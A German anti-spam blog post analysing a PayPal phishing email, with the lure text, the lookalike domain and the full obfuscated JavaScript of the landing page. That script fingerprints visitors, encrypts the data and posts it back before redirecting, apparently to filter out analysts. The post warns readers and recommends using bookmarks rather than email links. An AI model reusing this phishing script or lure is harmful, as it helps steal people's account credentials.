Dieser Müll kommt natürlich nicht von PayPal. Sonst würde ich ihn ja auch gar nicht hier erwähnen. Die Spam wurde über ein kostenloses und relativ anonym zu betreibendes Angebot von Google, dem dicksten Kumpel und Komplizen des Spammers und Betrügers, versendet. Das macht PayPal nicht, obwohl auch PayPal manchmal ganz schön dumme Entscheidungen trifft.
Final Reminder: Security Verification
Hello,
Your PayPal account requires an important security update. Phone verification is mandatory.
Complete Verification
Complete this soon to avoid account limits.
Der Link geht nicht zu Paypal, sondern in eine Domain…
$ surbl login.paypalsup.com
login.paypalsup.com LISTED: ABUSE
$ _
…die zwar beim ganz flüchtigen Hinschauen so ähnlich aussieht, aber bereits wegen Spam und Spam und Spam auf allen Blacklists steht, und spätestens morgen kommt der Eintrag wegen Trickbetrug (Phishing) dazu. Das ist der Hauptgrund, weshalb diese Spam bei mir automatisch erkannt und aussortiert wurde. Wer in diese Spam klickt, fällt in ein schwarzes Loch aus vorsätzlich unanalyiserbar gemachtem Javascript von kriminellen Spammern — ja, die haben so einen Urknall und haben das wirklich selbst ein „Schwarzes Loch“ genannt:
$ lynx -dump https://login.paypalsup.com/
Verweise
Sichtbare Links:
Versteckte Links:
2. https://login.paypalsup.com/blackhole\
$ lynx -source https://login.paypalsup.com/
<html>
<head>
<link rel="icon" href="data:,">
<script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js"></script>
<style>
.modal {
position: fixed;
z-index: 1;
padding-top: 100px;
left: 0;
top: 0;
width: 100%;
height: 100%;
overflow: auto;
background-color: rgba(240,240,240,0.5);
background-size: 100px;
animation: mymove 2s infinite;
}
@keyframes mymove {from {background-color: rgba(240,240,240,0.5);}to {background-color: rgba(125,125,125,0.5);}}
</style>
</head>
<body>
<a href="./blackhole\"></a>
<input id="id_gs_step" type="hidden" name="gs_step" value="0"></input>
<input id="id_gs_token" type="hidden" value="f0a6b4f037254614474aea3863659569"></input>
<div class="modal"></div>
<script>
const _0x298ade=_0x4140;function _0x1dc5(){const _0x453117=['injfn','AES','fpw1','Pkcs7','split','899844qosVvm','indexOf','toString','function(){const\x20_0x','onload','enc','Utf8','ldscrp','location','12500CmBBGk','href','257280uJyosm','8qpIYoG','MD5','id_gs_token','_0x','fpnv','41749QCRvlL','substring','[native\x20code]','dcrfr','push','none','length','createElement','stringify','fpw2','id_gs_step','CBC','value','fpdv','parse','pathname','step','padding','1799805efTDMG','injfnlst','24AtsvyH','toLowerCase','2ATQDeS','scripts','encrypt','clear','lstfn','search','join','reverse','10LxJLHn','5161002teDATD','getElementById','fromCharCode','getOwnPropertyNames','2259207NWbCPw'];_0x1dc5=function(){return _0x453117;};return _0x1dc5();}function _0x4140(_0x19393a,_0x352ccd){const _0x1dc5d4=_0x1dc5();return _0x4140=function(_0x41400b,_0x6e80ea){_0x41400b=_0x41400b-0x1c5;let _0x99860d=_0x1dc5d4[_0x41400b];return _0x99860d;},_0x4140(_0x19393a,_0x352ccd);}(function(_0x38e550,_0x2c7d79){const _0x18192f=_0x4140,_0x1e1599=_0x38e550();while(!![]){try{const _0x271629=-parseInt(_0x18192f(0x1e1))/0x1+-parseInt(_0x18192f(0x1f7))/0x2*(parseInt(_0x18192f(0x1db))/0x3)+-parseInt(_0x18192f(0x1d0))/0x4+parseInt(_0x18192f(0x1d9))/0x5*(parseInt(_0x18192f(0x1f5))/0x6)+parseInt(_0x18192f(0x1f3))/0x7*(parseInt(_0x18192f(0x1dc))/0x8)+-parseInt(_0x18192f(0x1ca))/0x9*(parseInt(_0x18192f(0x1c5))/0xa)+parseInt(_0x18192f(0x1c6))/0xb;if(_0x271629===_0x2c7d79)break;else _0x1e1599['push'](_0x1e1599['shift']());}catch(_0x449378){_0x1e1599['push'](_0x1e1599['shift']());}}}(_0x1dc5,0x206c4),window[_0x298ade(0x1d4)]=function(){const _0x2b5393=_0x298ade;function _0x540e7e(_0x36065a){const _0x2bb80e=_0x4140;return document[_0x2bb80e(0x1c7)](_0x36065a);};const _0x52500e=String[_0x2b5393(0x1c8)];function _0x4e9aa5(_0x44623d){let _0x14c7cd=_0x52500e(0x6d,0x65,0x74,0x68,0x6f,0x64),_0x1bf05a=_0x52500e(0x50,0x4f,0x53,0x54),_0x4db945=_0x52500e(0x62,0x6f,0x64,0x79);const _0x327ca9=window[_0x52500e(0x66,0x65,0x74,0x63,0x68)],_0x268b37=_0x52500e(0x2e,0x2f,0x69,0x6e,0x64,0x65,0x78,0x2e,0x70,0x68,0x70,0x3f,0x67,0x73,0x61,0x75,0x74,0x68);return _0x327ca9(_0x268b37,{[_0x14c7cd]:_0x1bf05a,[_0x4db945]:_0x44623d});};let _0x384950=_0x540e7e(_0x2b5393(0x1eb))[_0x2b5393(0x1ed)];const _0x14917c=CryptoJS;let _0xbd05c=_0x540e7e(_0x2b5393(0x1de))[_0x2b5393(0x1ed)][_0x2b5393(0x1e2)](0x0,0x10),_0x3790eb=_0x14917c[_0x2b5393(0x1d5)][_0x2b5393(0x1d6)][_0x2b5393(0x1ef)](_0xbd05c),_0x4a6672=_0x14917c[_0x2b5393(0x1d5)]['Utf8'][_0x2b5393(0x1ef)](_0xbd05c[_0x2b5393(0x1cf)]('')[_0x2b5393(0x1fe)]()[_0x2b5393(0x1fd)]('')),_0x174230={};_0x174230['r']=Math['random'](),_0x174230[_0x2b5393(0x1f1)]=_0x384950,_0x174230[_0x2b5393(0x1fb)]=_0x2b5393(0x1e6),_0x174230[_0x2b5393(0x1cb)]=0x0,_0x174230[_0x2b5393(0x1f4)]=[];function _0xd626f5(){const _0x488359=_0x2b5393;let _0x42f78a=![];for(let _0xd7b27a in window){if(typeof window[_0xd7b27a]==='function'){if(_0xd7b27a[_0x488359(0x1d1)](_0x488359(0x1df))===0x0)_0x42f78a=!![];if(!_0x42f78a)_0x174230[_0x488359(0x1fb)]=_0xd7b27a;let _0x3319d3=window[_0xd7b27a][_0x488359(0x1d2)]()[_0x488359(0x1f6)]();_0x3319d3['indexOf'](_0x488359(0x1e3))===-0x1&&!(_0x3319d3[_0x488359(0x1d1)](_0x488359(0x1d3))===0x0)&&!(_0xd7b27a[_0x488359(0x1d1)](_0x488359(0x1df))===0x0)&&(_0x174230['injfn']++,_0x174230[_0x488359(0x1f4)][_0x488359(0x1e5)](_0xd7b27a));}}}_0xd626f5();function _0x34b50e(){const _0x490a1e=_0x2b5393;let _0x28607e=[];for(let _0x230243 in window){_0x28607e[_0x490a1e(0x1e5)](_0x230243);}_0x174230[_0x490a1e(0x1cd)]=_0x14917c['MD5'](JSON[_0x490a1e(0x1e9)](_0x28607e))['toString'](),_0x28607e=[],_0x28607e=Object[_0x490a1e(0x1c9)](window),_0x174230[_0x490a1e(0x1ea)]=_0x14917c[_0x490a1e(0x1dd)](JSON[_0x490a1e(0x1e9)](_0x28607e))['toString'](),_0x28607e=[];for(let _0x5d077f in navigator){_0x28607e['push'](_0x5d077f);}_0x174230[_0x490a1e(0x1e0)]=_0x14917c[_0x490a1e(0x1dd)](JSON[_0x490a1e(0x1e9)](_0x28607e))['toString'](),_0x28607e=[];let _0x43c74d=document[_0x490a1e(0x1e8)]('div');for(let _0x38aa79 in _0x43c74d){_0x28607e[_0x490a1e(0x1e5)](_0x38aa79);}let _0x44baea=getComputedStyle(_0x43c74d);for(let _0x23a84f in _0x44baea){_0x28607e[_0x490a1e(0x1e5)](_0x23a84f);}_0x174230[_0x490a1e(0x1ee)]=_0x14917c['MD5'](JSON['stringify'](_0x28607e))[_0x490a1e(0x1d2)]();}_0x34b50e();function _0x154a09(){const _0x29e845=_0x2b5393;let _0x173029=document[_0x29e845(0x1f8)][_0x29e845(0x1e7)]-0x2;_0x174230[_0x29e845(0x1d7)]=_0x173029;}_0x154a09(),_0x174230['dcrfr']='';if(document['referrer']!=='')_0x174230[_0x2b5393(0x1e4)]=document['referrer'];async function _0x433466(){const _0x1995cb=_0x2b5393;if(typeof console[_0x1995cb(0x1fa)]==='function')console[_0x1995cb(0x1fa)]();let _0x1636dc=JSON[_0x1995cb(0x1e9)](_0x174230);const _0x5a5970='iv',_0x5e8e92=_0x52500e(0x6d,0x6f,0x64,0x65),_0x16a1b9=_0x1995cb(0x1f2),_0x2075d5=_0x14917c['mode'][_0x1995cb(0x1ec)],_0x54afd4=_0x14917c['pad'][_0x1995cb(0x1ce)],_0x57d201=_0x3790eb,_0x446b47=_0x4a6672,_0x5a3565={};_0x5a3565[_0x5a5970]=_0x446b47,_0x5a3565[_0x5e8e92]=_0x2075d5,_0x5a3565[_0x16a1b9]=_0x54afd4;let _0x14c534=_0x14917c[_0x1995cb(0x1cc)][_0x1995cb(0x1f9)](_0x1636dc,_0x57d201,_0x5a3565),_0x15f516=_0x14c534['toString'](),_0x464231=await _0x4e9aa5(_0x15f516);if(!_0x464231['ok'])return;actualLink=window[_0x1995cb(0x1d8)]['origin']+window['location'][_0x1995cb(0x1f0)]+window[_0x1995cb(0x1d8)][_0x1995cb(0x1fc)],window['location'][_0x1995cb(0x1da)]=actualLink;}_0x433466();});
</script>
</body>
</html>
$ _
Niemand, der nichts zu verbergen hat, würde so coden wie in dieser einen langen Zeile Javascript. Wehe denen, die keinen wirksamen Skriptblocker verwenden! ☹️
Ich wäre nicht überrascht, wenn es einen „kostenlosen Sicherheitscheck“ des Browsers und des Betriebssystems durch kriminelle Spammer gibt und man einen Computer anderer Leute auf dem Schreibtisch hat, wenn dabei eine ausbeutbare Schwachstelle gefunden wird. Selbst, wenn es nicht so weit kommt: Alles, was man auf dieser Website eingibt, geht direkt an Kriminelle, und es dürfte so gut wie sicher sein, dass die hinterher ein weiteres PayPal-Konto zum Leerräumen und für Betrugsgeschäfte haben.
Zum Glück für uns alle gibt es ein ganz einfaches und sehr wirksames Mittel gegen Phishing, die immer noch häufigste Form des Trickbetrugs im Internet: Niemals in eine E-Mail klicken! Stattdessen für häufiger besuchte Websites, bei denen man ein Benutzerkonto hat, ein Lesezeichen im Webbrowser anlegen und diese Websites nur über dieses Lesezeichen aufrufen! Wenn man so eine „komische Mail“ wie diese erhalten hat und sich unsicher ist, ob sie vielleicht doch echt sein könnte (PayPal schreibt aber schon wie gesetzlch vorgeschrieben ein Impressum unter seine E-Mails, aber das können Phisher auch einfach kopieren und einfügen): Nicht in die Mail klicken! Die PayPal-Site über das Lesezeichen aufrufen und sich dort wie gewohnt anmelden! Wenn man nach der Anmeldung keinen Hinweis auf das angebliche Problem sieht, hat man einen dieser gefürchteten „Cyberangriffe“ abgewehrt — und sich eine Menge Geld und monate- bis jahrelangen zähen Ärger wegen der Betrugsgeschäfte über dieses Konto erspart. So einfach geht das. Und ohne Komfortverlust, denn man klickt ja weiterhin, nur eben nicht mehr auf Links, die einem irgendwelche Ganoven aus dem Internet unterschieben können. Und es kostet nichts. Macht das! 🛡️
